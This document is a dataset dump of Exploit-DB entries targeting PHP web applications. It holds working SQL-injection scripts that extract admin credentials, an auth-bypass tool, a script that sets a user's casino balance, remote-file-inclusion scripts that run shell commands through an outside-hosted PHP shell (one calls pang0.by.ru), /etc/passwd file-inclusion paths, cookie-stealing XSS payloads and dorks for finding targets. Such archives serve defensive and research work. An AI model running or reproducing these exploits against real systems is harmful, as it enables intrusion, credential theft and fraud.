deardaniel/secdata-raw huggingface dataset:
Exploit-DB #49470
Description: CASAP Automated Enrollment System 1.0 - 'route' Stored XSS
Type: webapps
Platform: php
Date: 2021-01-25
Author: Richard Jones

Exploit:
# Exploit Title: CASAP Automated Enrollment System 1.0 - 'route' Stored XSS
# Exploit Author: Richard Jones
# Date: 2021-01/23
# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12210&title=CASAP+Automated+Enrollment+System+using+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

# Steps to reproduce
# 1. login bypass username: admin, password: `' or 1=1#
# 2. Studants > Edit > "ROUTE" field enter.. "<script>alert(document.cookie)</script>
# Save, reload page, exploited stored XXS


POST /Final/update_student.php HTTP/1.1
Host: TARGET
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 297
Origin: http://TARGET
Connection: close
Referer: http://TARGET/Final/edit_stud.php?id=6
Cookie: PHPSESSID=97qoeda9h6djjis5gbr00p7ndc

student_id=6&status=half&fname=Ronel&mname=G.&lname=Ortega&gender=Male&dob=1999-06-16&address=Prk.1+brgy.banago+bacolod+city&student_class=ICT+-+Computer+Programming&transport=yes&route=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E&gfname=Juanita&gmname=S.&glname=a&rship=Mother&tel=[PII_REDACTED]
Exploit-DB #49463
Description: CASAP Automated Enrollment System 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2021-01-22
Author: Himanshu Shukla

Exploit:
# Exploit Title: CASAP Automated Enrollment System 1.0 - Authentication Bypass
# Exploit Author: Himanshu Shukla
# Date: 2021-01-21
# Vendor Homepage: https://www.sourcecodester.com/php/12210/casap-automated-enrollment-system.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/Yna%20Ecole/final.zip
# Version: 1.0
# Tested On: Ubuntu + XAMPP 7.4.4
# Description: CASAP Automated Enrollment System 1.0 - Authentication Bypass Using SQLi


#STEP 1 : Run The Exploit With This Command : python3 exploit.py <URL>
# For Example: python3 exploit.py http://10.9.67.23/final/
#STEP 2 : Open the Link Provided At The End After Successful Authentication Bypass in Browser. 


import time
import sys
import requests


YELLOW =  '\033[33m' # Yellow Text
GREEN =  '\033[32m' # Green Text
RED =  '\033[31m' # Red Text
RESET = '\033[m' # reset to the defaults

print(YELLOW+'      _          ______  _               _  ___           ', RESET)
print(YELLOW+'  ___| |_ ___   / / ___|| |__   __ _  __| |/ _ \__      __', RESET)
print(YELLOW+" / _ \ __/ __| / /|___ \| '_ \ / _` |/ _` | | | \ \ /\ / /", RESET)
print(YELLOW+'|  __/ || (__ / /  ___) | | | | (_| | (_| | |_| |\ V  V / ', RESET)
print(YELLOW+' \___|\__\___/_/  |____/|_| |_|\__,_|\__,_|\___/  \_/\_/  ', RESET)
print(YELLOW+" ", RESET)                                                          
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')
print('!!!       CASAP AUTOMATED ENROLLMENT SYSTEM 1.0        !!!')
print('!!!               AUTHENTICATION BYPASS                !!!')
print('!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!')

print('Author - Himanshu Shukla')


def authbypass(url):

	#Authentication Bypass
	s = requests.Session() 
	#Set Cookie
	cookies = {'PHPSESSID': 'c9ead80b7e767a1157b97d2ed1fa25b3'}


	print ("[*]Attempting Authentication Bypass...")
	time.sleep(1)

	values = {"username":"'or 1 or'","password":""}
	r=s.post(url+'login.php', data=values, cookies=cookies) 
	p=s.get(url+'dashboard.php', cookies=cookies) 

	#Check if Authentication was bypassed or not.
	logged_in = True if ("true_admin" in r.text) else False
	l=logged_in
	if l:
		print(GREEN+"[+]Authentication Bypass Successful!", RESET)
		print(YELLOW+"[+]Open This Link To Continue As Admin : "+url+"dashboard.php", RESET)
	else:
		print(RED+"[-]Failed To Authenticate!", RESET)
		print(RED+"[-]Check Your URL", RESET)


if __name__ == "__main__":


	if len(sys.argv)!=2:
		print(RED+"You Haven't Provided any URL!", RESET)
		print("Usage : python3 exploit.py <URL>")
		print("Example : python3 exploit.py http://10.9.7.3/final/")
		exit()

	try:

		authbypass(sys.argv[1])

	except:

		print(RED+"[-]Invalid URL!", RESET)
		exit()
Exploit-DB #3227
Description: CascadianFAQ 4.1 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-01-30
Author: ajann

Exploit:
*******************************************************************************
# Title   :  CascadianFAQ <= 4.1 (index.php) Remote Blind SQL Injection Vulnerability
# Author  :  ajann
# Contact :  :(
# S.Page  :  http://eclectic-designs.com
# $$      :  Free
# Dork    :  This FAQ is powered by CascadianFAQ
# DorkEx  :  http://www.google.com.tr/search?hl=tr&q=This+FAQ+is+powered+by+CascadianFAQ+&btnG=Google%27da+Ara&meta=

*******************************************************************************

[[SQL]]]---------------------------------------------------------

http://[target]/[path]//index.php?catid=[SQL]

Example:

//index.php?catid=-1%20union%20select%20concat(char(85),char(115),char(101),char(114),char(110),char(97),char(109),char(101),char(58),username,char(32),char(124),char(124),char(32),char(80),char(97),char(115),char(115),char(119),char(111),char(114),char(100),char(58),password),2%20from%20cfaq_admin%20where%20accesslevel%20like%201/*

[[/SQL]]

"""""""""""""""""""""
# ajann,Turkey
# ...

# Im not Hacker!

# milw0rm.com [2007-01-30]
Exploit-DB #42772
Description: Cash Back Comparison Script 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-09-22
Author: Ihsan Sencan

Exploit:
#!/usr/bin/perl -w
# # # # # 
# Exploit Title: Cash Back Comparison Script 1.0 - SQL Injection
# Dork: N/A
# Date: 22.09.2017
# Vendor Homepage: http://cashbackcomparisonscript.com/
# Software Link: http://cashbackcomparisonscript.com/demo/features/
# Demo: http://www.cashbackcomparison.info/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-14703
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
sub clear{
system(($^O eq 'MSWin32') ? 'cls' : 'clear'); }
clear();
print "
################################################################################
                   #### ##     ##  ######     ###    ##    ## 
                    ##  ##     ## ##    ##   ## ##   ###   ## 
                    ##  ##     ## ##        ##   ##  ####  ## 
                    ##  #########  ######  ##     ## ## ## ## 
                    ##  ##     ##       ## ######### ##  #### 
                    ##  ##     ## ##    ## ##     ## ##   ### 
                   #### ##     ##  ######  ##     ## ##    ## 

             ######  ######## ##    ##  ######     ###    ##    ## 
            ##    ## ##       ###   ## ##    ##   ## ##   ###   ## 
            ##       ##       ####  ## ##        ##   ##  ####  ## 
             ######  ######   ## ## ## ##       ##     ## ## ## ## 
                  ## ##       ##  #### ##       ######### ##  #### 
            ##    ## ##       ##   ### ##    ## ##     ## ##   ### 
             ######  ######## ##    ##  ######  ##     ## ##    ##                                                                            
                 Cash Back Comparison Script 1.0 - SQL Injection           
################################################################################
";
use LWP::UserAgent;
print "\nInsert Target:[http://site.com/path/]: ";
chomp(my $target=<STDIN>);
print "\n[!] Exploiting Progress.....\n";
print "\n";
$cc="/*!01116concat*/(0x3c[PII_REDACTED]7265613e,0x557365726e616d653a,username,0x20,0x506173733a,password,0x3c2f[PII_REDACTED]7265613e)";
$tt="users";
$b = LWP::UserAgent->new() or die "Could not initialize browser\n";
$b->agent('Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0');
$host = $target . "search/EfE'+/*!01116UNIoN*/+/*!01116SeLecT*/+0x31,0x32,0x33,0x34,0x35,0x36,".$cc.",0x38/*!50000FrOm*/".$tt."--+-.html";
$res = $b->request(HTTP::Request->new(GET=>$host));
$answer = $res->content; if ($answer =~/<textarea>(.*?)<\/textarea>/){
print "[+] Success !!!\n";
print "\n[+] Admin Detail : $1\n";
print "\n[+]$target/admin/login.php\n";
print "\n";
}
else{print "\n[-]Not found.\n";
}
Exploit-DB #28833
Description: Casinosoft Casino Script 3.2 - 'config.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-10-20
Author: G1UK

Exploit:
source: https://www.securityfocus.com/bid/20646/info

Casinosoft Casino Script is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 3.2 is vulnerable; other versions may also be affected.

#!/usr/bin/perl

## Massvet ........ ...... - ......... .......... .......!
## ........ ...... 3.2, ........ ..... ......, . .......... magicquotes
## ......... .. ...... 3.2
##
## writed bu G1UK
## CFTeam

use LWP::UserAgent;
use Getopt::Std;
use HTTP::Cookies;

getopts("h:d:l:p:c:x:");

$host = $opt_h;
$dir = $opt_d || '/';
$login = $opt_l;
$pass = $opt_p;
$cash = $opt_c;
$proxy = $opt_x || '';
logo();


if(!$host||!$login||!$pass||!$cash) { help(); }

print "=) server : $host \r\n";
print "=) casino dir : $dir \r\n";
print "=) login : $login \r\n";
print "=) password : $pass \r\n";
print "=) cash : $cash \r\n";
print "\r\n";

$cook = LWP::UserAgent->new() or die;
$cookie = HTTP::Cookies->new();
$cook->cookie_jar( $cookie );
$url=$host.''.$dir;
$cook->proxy('http'=>'http://'.$proxy) if $proxy;

printf "Registering =)\r\n";
$res = $cook->post('http://'.$url.'reg.php',
[
"r_login" => "$login",
"r_pass" => "$pass",
"r_email" => "1",
"send" => "1",
"submit"=> "........."
]);
print "Registering OK\r\n";

print "Enter =)\r\n";
$res = $cook->post('http://'.$url.'lobby/login_proc.php',
[
"log" => "$login",
"psw" => "$pass",
"send" => "1",
"submit"=> ".....",
"Cookie" => "PHPSESSID=".$sid
]);
print "Enter OK\r\n";

print "Edit you cash =))\r\n";
$res = $cook->post('http://'.$url.'lobby/config.php',
[
"cpass" => "$pass",
"cname" => "",
"cfam" => "',cash='".$cash."' where login='".$login."'/*",
"send" => "1",
"Cookie" => "PHPSESSID=".$sid
]);
print "Check out you cash =)\r\n";

sub logo()
{
print 
"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n";
print "Massvet internet casino v3.2 sql injection cash exploit by 
CFTeam\r\n";
print 
"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\r\n";
}

sub help()
{
print "CFteam.pl -h <host> -d [dir] -l <login> -p <password> -c <cash> 
-x [proxy]\r\n\r\n";
print "<host> - Host where cazino installed for example - 
www.massvet.ru\r\n";
print "[dir] - Directory, where cazino is installed /cazino/ for 
example\r\n";
print "<login> - User name for registrate \r\n";
print "<password> - Password for registrate \r\n";
print "<cash> - How much you need? (00.00)\r\n";
print "[proxy] - For you safety \r\n";
exit();
}
Exploit-DB #2606
Description: CASTOR 1.1.1 - '/lib/rs.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-21
Author: Kw3[R]Ln

Exploit:
#!/usr/bin/perl
#
# CASTOR <= 1.1.1 Remote Command Execution Vulnerability
# 
# Risk : High (Remote Code Execution)
# 
# Url: svn.gna.org/svn/castor/trunk 
#
# Exploit: 
#   http://www.site.com/[path]/lib/rs.php?rootpath=[Evil_Script]
# 
# (c)oded and f0und3d by Kw3[R]Ln <ciriboflacs[AT]YaHOo.com>
#
#  Romanian Security Team .: hTTp://RST-CREW.NET :.
#
# Shoutz to [Oo], str0ke, th0r and all members of RST !

use LWP::Simple;

print "...........................[RST]...............................\n";
print ".                                                             .\n";
print ".  CASTOR <= 1.1.1 Remote Command Execution Vulnerability     .\n";
print ".                                                             .\n";
print "...............................................................\n";
print ".       Romanian Security Team -> hTTp://RST-CREW.NET         .\n";
print ".       [c]oded by Kw3rLN - kw3rln[AT]rst-crew.net            .\n"; 
print "...............................................................\n\n";

my $kw3,$path,$shell,$conexiune,$cmd,$data ;


if ((!$ARGV[0]) || (!$ARGV[1])) { &usage;exit(0);}

$path = $ARGV[0];
chomp($path);
$shell = $ARGV[1];	
chomp($shell);
    
$path = $path."/lib/rs.php";


sub usage(){
	print "Usage    : perl $0 host/path http://site.com/cmd.txt\n\n";
	print "Example  : perl $0 http://127.0.0.1 http://site.com/cmd.txt\n\n";
        print 'Shell    : <?php ob_clean();ini_set("max_execution_time",0);passthru($_GET["cmd"]);die;?>';
           }

while ()  
{  
print "[kw3rln].[rst] :~\$ ";
chomp($cmd=<STDIN>);
if ($cmd eq "exit") { exit(0);}

$kw3 = $path."?rootpath=".$shell."?&cmd=".$cmd; 
if ($cmd eq "")     
  { print "Enter your command !\n"; }
else 
  { $data=get($kw3); print $data ; }

}

# milw0rm.com [2006-10-21]
Exploit-DB #5983
Description: CAT2 - 'spaw_root' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-07-01
Author: StAkeR

Exploit:
@~~===========================================~~@
|  Author => StAkeR ~ StAkeR@hotmail.it         |  
@~~===========================================~~@ 
+                                                
@~~==========================================================================~~@
|  CAT2 <= 1.Local File Inclusion Vulnerability                                |
@~~==========================================================================~~@
|  objects/extern/spaw/spaw_control.class.php?spaw_root=../../etc/passwd%00    |
@~~==========================================================================~~@
+
@~~====================================================~~@
|  http://downloads.sourceforge.net/cat-2/CAT2-1_2.zip   |               
@~~====================================================~~@

# milw0rm.com [2008-07-01]
Exploit-DB #17406
Description: Catalog Builder eCommerce Software - Blind SQL Injection
Type: webapps
Platform: php
Date: 2011-06-16
Author: takeshix

Exploit:
+------------------------------------------------------------------------------------------+
|-------[ Catalog Builder - Ecommerce Software - Blind SQL Injection Vulnerability ]-------|
+------------------------------------------------------------------------------------------+
[+] Google Dork hint: inurl:'/catalog/main.php?cat_id='
[+] Date: 16.06.2011
[+] Author: takeshix
[+] Author Contact: takeshix.query@googlemail.com
[+] Software Link: http://www.catalogbuilder.ca/catalog/main.php
[+] Tested on: Fedora
[+] Platform: PHP
--------------------------------------------------------------------------------------------

vulnerable url:

/catalog/main.php?cat_id=[blind sqli]

example:

http://localhost/catalog/main.php?cat_id=1' AND 1337=1337 AND 'takeshix'='takeshix true
http://localhost/catalog/main.php?cat_id=1' AND 1337=1337 AND 'takeshix'='takeshixx false
	

--------------------------------------------------------------------------------------------
[+] Greez to some members of UNITS & hackademics & DSU
+------------------------------------------------------------------------------------------+
|-------------------------------------[ hacktivistas ]-------------------------------------|
+------------------------------------------------------------------------------------------+
Exploit-DB #3270
Description: Categories hierarchy phpBB Mod 2.1.2 - 'phpbb_root_path' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-05
Author: Mehmet Ince

Exploit:
# (C) xoron
#
# [Name: Categories hierarchy v2.1.2 (phpbb_root_path) Remote File Include Exploit]
#
# [Script name: Ptifo mod-CH_212_installed
#
# [Author: xoron]
# [Exploit coded by xoron]
#
# [Download: http://sourceforge.net/project/showfiles.php?group_id=125710]
#
# [xoron.biz - xoron.info]
#
# [Thanx: str0ke, kacper, k1tk4t, SHiKA, can bjorn]
#
# [Tesekkurler: chaos, pang0, DJR]
# 
# [POC: /includes/class_template.php?phpbb_root_path=http://evilscripts?]
#
# [Vuln Codes: include($phpbb_root_path . 'includes/template.' . $phpEx); ]
#
#
$rfi = "class_template.php?phpbb_root_path="; 
$path = "/includes/";
$shell = "http://pang0.by.ru/shall/pang057.zz?cmd=";
print "Language: English // Turkish\nPlz Select Lang:\n"; $dil = <STDIN>; chop($dil);
if($dil eq "English"){
print "(c) xoron\n";
&ex;
}
elsif($dil eq "Turkish"){
print "Kodlayan xoron\n";
&ex;
}
else {print "Plz Select Languge\n"; exit;}
sub ex{
$not = "Victim is Not Vunl.\n" and $not_cmd = "Victim is Vunl but Not doing Exec.\n"
and $vic = "Victim Addres? with start http:// :" and $thx = "Greetz " and $diz = "Dictionary?:" and $komt = "Command?:"
if $dil eq "English";
$not = "Adreste RFI acigi Yok\n" and $not_cmd = "Adresde Acýk Var Fakat Kod Calismiyor\n"
and $vic = "Ornek Adres http:// ile baslayan:" and $diz = "Dizin?: " and $thx = "Tesekkurler " and $komt = "Command?:"
if $dil eq "Turkish";
print "$vic";
$victim = <STDIN>;
chop($victim);
print "$diz";
$dizn = <STDIN>;
chop($dizn);
$dizin = $dizn;
$dizin = "/" if !$dizn;
print "$komt";
$cmd = <STDIN>;
chop($cmd);
$cmmd = $cmd;
$cmmd = "dir" if !$cmd;
$site = $victim;
$site = "http://$victim" if !($victim =~ /http/);
$acacaz = "$site$dizin$rfi$shell$cmmd";
print "(c) xoron.info - xoron.biz\n$thx: pang0, chaos, can bjorn\n";
sleep 3;
system("start $acacaz");
}

# milw0rm.com [2007-02-05]
Exploit-DB #40511
Description: Categorizator 0.3.1 - SQL Injection
Type: webapps
Platform: php
Date: 2016-10-12
Author: Wadeek

Exploit:
# Exploit Title: Categorizator 0.3.1 | SQL Injection
# Date: 03/09/16
# Exploit Author: Wad Deek
# Vendor Homepage: http://lelogiciellibre.net/telecharger/annuaire-web.php
# Software Link: ftp://ftp2.lelogiciellibre.net/lelogiciellibre/annu/categorizator031.zip
# Version: 0.3.1
# Tested on: Xampp on Windows7
# Fuzzing tool: https://github.com/Trouiller-David/PHP-Source-Code-Analysis-Tools

################################################################
PoC : http://localhost/cms/categorizator/vote.php?id_site=1'
################################################################
Exploit-DB #3677
Description: cattaDoc 2.21 - 'download2.php?fn1' Remote File Disclosure
Type: webapps
Platform: php
Date: 2007-04-06
Author: GoLd_M

Exploit:
# cattaDoc 2.21(download2.php fn1)Remote File Disclosure Vulnerability
# D.Script: http://cattadoc.com/download/cattadoc-2.21.tgz
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.cc
# Greetz To: Tryag-Team & 4lKaSrGoLd3n-Team & AsbMay's Group
# V.Code: 
##############################################################
# $tp = $_REQUEST['mtp'];                                    # 
# $ofn = '"'.$_REQUEST['fn2'].'"';                           # 
# header("Content-type: $tp");                               #
# header("Content-Disposition: attachment; filename=$ofn");  #
# readfile($_REQUEST['fn1']); <<----                         #
##############################################################
# Exploit:[Path_cattaDoc]/download2.php?fn1=../../../../../../etc/passwd

# milw0rm.com [2007-04-06]
Exploit-DB #8745
Description: Catviz 0.4.0 beta1 - Local File Inclusion / Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-05-20
Author: ByALBAYX

Exploit:
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@===C4TEAM.ORG====ByALBAYX====C4TEAM.ORG====@
@~~=======================================~~@
@~~=Author   : ByALBAYX                     @
@                                           @
@~~=Website  : WWW.C4TEAM.ORG               @
@                                           @
@@@@@@@@@@@@@@@@@@TURKISH@@@@@@@@@@@@@@@@@@@@
@
@              _.--"""""--._
@            .'             '.
@           /                 \
@          ;       C4TEAM      ;
@          |                   |
@          |                   |
@          ;                   ;
@           \ (`'--,    ,--'`) /
@            \ \  _ )  ( _  / /
@             ) )(')/  \(')( (
@            (_ `""` /\ `""` _)
@             \`"-, /  \ ,-"`/
@              `\ / `""` \ /`
@               |/\/\/\/\/\|
@               |\        /|
@               ; |/\/\/\| ;
@                \`-`--`-`/
@                 \      /
@                  ',__,'
@ 
@ Catviz 0.4.0 Beta 1
@ 
@ Demo:
@
@ http://catviz.sourceforge.net
@
@
@ LFI :/
@
@ http://c4team.org/ [Path] /index.php?webpages_form=../../../../../../../../../../../../../etc/passwd%00
@
@ http://c4team.org/ [Path] /index.php?userman_form=../../../../../../../../../../../../../etc/passwd%00
@
@
@
@ XSS :/
@
@
@ http://c4team.org/ [Path] /index.php?userman_form=<script>alert(String.fromCharCode( 66, 89, 65, 76, 66, 65, 89, 88))</script>
@
@ http://c4team.org/ [Path] /index.php?webpages_form=<script>alert(String.fromCharCode( 66, 89, 65, 76, 66, 65, 89, 88))</script>
@
@ http://c4team.org/ [Path] /index.php?userman_form="><script>alert(document.cookie)</script>
@
@ http://c4team.org/ [Path] /index.php?webpages_form="><script>alert(document.cookie)</script>
@
@ http://c4team.org/ [Path] /index.php?userman_form='><h1>ByALBAYX</h1><div style=display:none>
@
@ http://c4team.org/ [Path] /index.php?webpages_form='><h1>ByALBAYX</h1><div style=display:none>
@
@@@:/

# milw0rm.com [2009-05-20]
Exploit-DB #5974
Description: Catviz 0.4.0 beta1 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-06-30
Author: anonymous

Exploit:
######################
#
#Catviz 0.4.0 beta1 SQL Injection Vulnerability
#
######################
#
#Bug by: h0yt3r
#
#Dork: n/a
#
#Homepage: catviz.sourceforge.net
#
##
###
##
#
#This CMS suffers from some not correctly verified variables which are used in SQL Querys.
#An Attacker can easily get sensitive information from the database by injecting unexpected SQL Querys.
#
#SQL Injection:
#http://[target]/[path]/index.php?module=news&news_op=form&form_name=article&form_action=show&foreign_key_value=[SQL]
#http://[target]/[path]/index.php?webpages_form=webpage_multi_edit&webpage=[SQL]
#
#PoC:
#index.php?module=news&news_op=form&form_name=article&form_action=show&foreign_key_value=10 union select 1,2,3,4,5,6,7,8,9,concat(username,0x3a,password),11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32 from mod_users/*
#index.php?webpages_form=webpage_multi_edit&webpage=26 and%201=1
#index.php?webpages_form=webpage_multi_edit&webpage=26 and%201=0
#
#
#You get "Go away you nasty intruder wannabe." when you do a wrong login...
#
#
#######################
#
#Greetz to thund3r, b!zZ!t, haZl0oh, WhiTâ‚¬ $h@Dow, $h4d0wl33t, codeblu815, ramon, Free-Hack and Sys-Flaw and h4ck-y0u.
#
#
#######################
####################### 

# milw0rm.com [2008-06-30]
Exploit-DB #38560
Description: Caucho Resin - '/resin-admin/' URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2013-06-07
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/60426/info

Resin Professional is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

Resin Professional 4.0.36 is vulnerable; other versions may also be affected. 

http://www.example.com/resin-admin\?%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E